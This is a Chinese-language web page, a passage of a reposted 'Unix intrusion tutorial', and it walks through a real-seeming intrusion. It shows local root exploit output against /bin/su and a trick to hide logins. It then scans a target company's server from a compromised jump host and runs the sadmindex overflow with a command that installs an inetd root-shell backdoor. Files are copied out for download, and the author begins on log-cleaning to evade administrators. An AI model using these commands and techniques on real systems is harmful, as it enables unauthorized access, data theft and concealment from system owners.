手机站
网通分站
电信主站
密 码:
用户名:
当前位置 : 主页>网站运营>建站经验>列表

unix入侵教程

来源:互联网 作者:west263.com 时间:2008-04-16
西部数码-全国虚拟主机10强!40余项虚拟主机管理功能,全国领先!双线多线虚拟主机南北访问畅通无阻!免费赠送企业邮局,.CN域名,自助建站480元起,免费试用7天,满意再付款! P4主机租用799元/月.月付免压金!


Checking for /usr/bin/msgfmt...Ok

Checking for /usr/bin/objdump...Ok

Checking write permisions on /tmp...Ok

Checking read permisions on /bin/su...Ok

Checking for a valid language... [using cs_CZ] Ok

Checking that /tmp/LC_MESSAGES does not exist...Ok

Phase 2. Calculating eat and pad values

.....................................................................done

eat = 119 and pad = 2

Phase 3. Creating evil libc.mo and setting enviroment

vars

Phase 4. Getting address of .dtors section of /bin/su

..........................................done

.dtors is at 0x0804ba0c

Phase 5. Compiling suid shell

/tmp/xp created Ok

Phase 6. Executing /bin/su

- Entering rootshell ;-) -

bash#

ok,到这里我们已得到root了。您现在能够****想干的事情了!!!

bash#telnet localhost

这样就会将下一个登陆人的IP覆盖到自己IP上:)这样就不容易发现了!!!

一个跳板Linux主机就作好了,记得保存好哟,我们下次还要用呢!!!

二.攻击篇

这些天我看准了日本一家经济方面的网站,想进去拿点东西;)假如发E-mail给网管叫他给我,我想他一定不答应。说不定用那乱七八糟的日文将我骂一顿,可对于我这个不懂日文的家伙可能看了还乐滋滋的,并不觉得是在骂我。那么,就只有一中方法了,那就是我自己进去看看J(下面网站地址用196.0.0.1表示,以便将跳板主机和我们要攻击的主机分开)

首先,我们登陆上次已Crack了的Linux主机吧:)我想刚刚Crack完应该更有效吧;)

c:\>telnet xxx.xxx.xxx.xxx

Login:test

Password:

##########################################################################

# However,as the Serv will reload those classes. #

# inside the “/usr/proj/gipex/class”.you just. #

# need to remove the old class with the new one. #

# #########################################################################

$./su

bash#nmap –O 196.0.0.1

我们通过nmap的扫描结果发现这个系统是SunOS 5.6的主机

我马上又登陆到另一台已Crack了的SunOS5.6的主机(至于SunOS5.6跳板主机如何得到我就不再在这里浪费口舌了,和Linux跳板主机的制作方法大同小异)

#rpccinfo –p 196.0.0.1

program vers proto port service

100000 4 tcp 111 rpcbind

100000 3 tcp 111 rpcbind

100000 4 udp 111 rpcbind

100000 2 udp 111 rpcbind

…………

100232 10 udp 61358 sadmind

…………

100001 4 udp 61363 rstatd

100001 3 udp 61363 rstatd

根据rpcinfo返回的结果,我发现这台主机开放了不少RPC服务,其中:

100232 10 udp 61358 sadmind

引起我的注意,我记得在CERT的报告有一个关于sadmind的远程溢出报告,那一定也有相应的溢出程式:)我马上到www.hack.co.za搜索一番:)最后我找到了一个溢出源程式sadmindex.c(程式太长,我就不在这里罗列了!!!请大家到www.hack.co.za上找:)

我们登陆到那台Linux上

bash#gcc –o sadmindex sadmindex.c –lrpcsvc –lnsl –lsocket

bash#./sadmindex –h 196.0.0.1 –c “echo ‘ingreslock stream tcp nowait root /bin/sh **-*’>> /*mp/bob;/usr/sbin/inetd –s /tmp/bob”-s 0xefff9580

“echo ‘ingreslock stream tcp nowait root /bin/sh **-*’>> /*mp/bob这一句是我们要在目标服务器上执行的命令,他的功能就是生成一个内容是”ingreslock stream tcp nowait root /bin/sh **-*”的/*mp/bob文档,然后再用inetd来启动,假如成功我们就能够再目标机的1024端口上开一个后门,用TELNET连接上去后就能够直接用root身份执行shell了。。。哈哈是不是很爽?

Bash#telnet 196.0.0.1 1024

#

ok成功J我们成功得到root了!!!

#find / -name index.html –print

在/www/http/htdoc/目录下发现主页文档:)我的目的不是改主页,是要一些文档:)在这只是带说一下查找的方法!

#find / -name *.* -print (*.*是我要找的文档。这里省略名字:))

接下来将文档copy到主页目录,这样我们就能够下载了:)

#cp /home/www/*.* /www/http/htdoc

ok完成。我马上在浏览器里打入:http://196.0.0.1/*.*

下载成功。。。这次攻击就结束了。。。嘿嘿。。。。下面应该是要擦屁股走人了。。。但是假如您不想也能够。因为我们已通过跳板登陆的。他们要查到我们也不是很容易的:)但是为了更加保险。也为了我们能够下次在登陆。我们还是擦擦屁股比较好。。。哦。。。天啊!!!

呀。。。不好。。。妈妈来了。。。叫俺学习去:(没办法。。。我们下次接着说吧!!!

三.打扫战场

我们进行一次攻击为了不让管理员发现,同时也为了我们有可能再一次的登陆,我们有必要清理等了记录。为了找出怎么做的合适方法,我们不妨看看/etc/syslog.conf配置文档的内容。也许对您清理战场有很大帮助!

#cat /etc/syslog.conf

#Log all kernel messages to the console.

#Loging much else clutters up the screen.

#kern.*

#Log anything (except mail)of level info or higher.

#Don’t log private authentication messages!

*.info;mail.none;authpriv.none

文章整理:西部数码--专业提供域名注册虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!